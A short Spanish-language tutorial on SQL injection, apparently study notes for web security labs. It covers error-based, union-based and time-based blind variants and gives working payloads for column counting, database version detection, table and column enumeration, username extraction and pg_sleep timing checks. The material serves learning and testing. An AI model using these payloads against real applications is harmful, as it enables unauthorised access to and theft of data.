La inyección SQL es un ataque que explota vulnerabilidades en aplicaciones que utilizan bases de
datos. Un atacante inserta código SQL malicioso en entradas como logins, formularios, URLs o
parámetros de API. Esto puede otorgarles acceso no autorizado a datos o permitir manipulación de
información.
Existen diferentes tipos de inyecciones SQL
~ Error-Based SQLi: Al insertar el payload la página muestra un mensaje de error al usuario como el
siguiente
Actuamos en base al error que la página nos ha mostrado
~ Union-Based SQLi: Permite al atacante combinar los resultados de su consulta maliciosa con la
consulta original utilizando la cláusula `UNION`
Para este tipo de ataque es necesario conocer primero el número de columnas que existen y la base de
datos que esta corriendo por detrás
Supongamos que el parámetro categories es vulnerable, primero de todo tenemos que saber el número de
columnas que existen para ello podemos usar ORDER BY
`categories=gift' ORDER BY <NUM>--`
Iremos probando diferentes números, una vez conozcamos las columnas podremos obtener información de
la base de datos, previamente usaremos payloads para ver el tipo de BD que es (PostgreSQL,MySQL ,
SQL Server)
A modo de ejemplo a la hora de aplicar el order by hemos descubierto que existen 2 columnas por lo
que podremos usar los siguientes payloads
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
PostgreSQL
categories=gift' UNION SELECT version(), null--
MySQL
categories=gift' UNION SELECT @@version, null--
Oracle
categories=gift' UNION SELECT banner, null FROM v$version--
SQL Server
categories=gift' UNION SELECT @@version, null--
└───────────────────────────────────────────────────────────────────────────────────────────────────
El siguiente paso es enumerar las tablas en la Base de Datos
Para postgresql podemos usar el siguiente payload
`categories=gift' UNION SELECT table_name, null FROM information_schema.tables WHERE
table_schema=current_schema()--`
Una vez enumeradas las tablas podemos hacer las consultas
`categories=gift' UNION SELECT column_name, null FROM information_schema.columns WHERE
table_name='users'--`
┌─[ code ]──────────────────────────────────────────────────────────────────────────────────────────
categories=gift' UNION SELECT username, null FROM users--
└───────────────────────────────────────────────────────────────────────────────────────────────────
~ Time-Based Blind SQli: Este tipo de ataque se basa en usar funciones que retrasan la respuesta de
la base de datos (SLEEP en Mysql, pg_sleep en PostgreSQL)
`categories=gift' AND (SELECT pg_sleep(5))--`
Si la página tarda 5 segundos en responder, la condicion es verdadera por lo que es vulnerable a
este tipo de inyección